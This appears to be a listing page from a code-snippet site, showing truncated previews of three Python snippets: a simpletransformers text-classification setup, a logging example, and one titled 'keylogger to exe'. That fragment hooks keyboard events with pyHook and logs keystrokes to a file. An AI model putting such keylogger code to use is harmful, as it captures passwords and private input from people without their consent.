What do you want to save?
Add Code snippet
New code examples
-
Python 2021-11-15 17:21:14
simple trasnsformers
from simpletransformers.classification import ClassificationModel, ClassificationArgs import pandas as pd import logging logging.basicConfig(level=logging.INFO) transformers_logger = logging.getLogger("transformers") transformers_logger.setLev... Add solution -
Python 2021-11-09 23:33:12
keylogger to exe
import pyHook, pythoncom, sys, logging # feel free to set the file_log to a different file name/locationfile_log = 'keyloggeroutput.txt'def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') c... Add solution -
Python 2021-11-06 13:44:14
python logging example
import logging logging.basicConfig(filename='example.log', encoding='utf-8', level=logging.DEBUG) logging.debug('This is debug message') logging.info('This is information message') logging.warning('This is warning message') logging.error('This is warning ... Add solution
Best helpers
Wayno
+5
IQAndreas
+5
AlecPerkey
+5
Seria Yin
+5
T-rex
+5
Wilber82
+5
Sharma Pocso
+5
TJG
+5
JSanchez
+5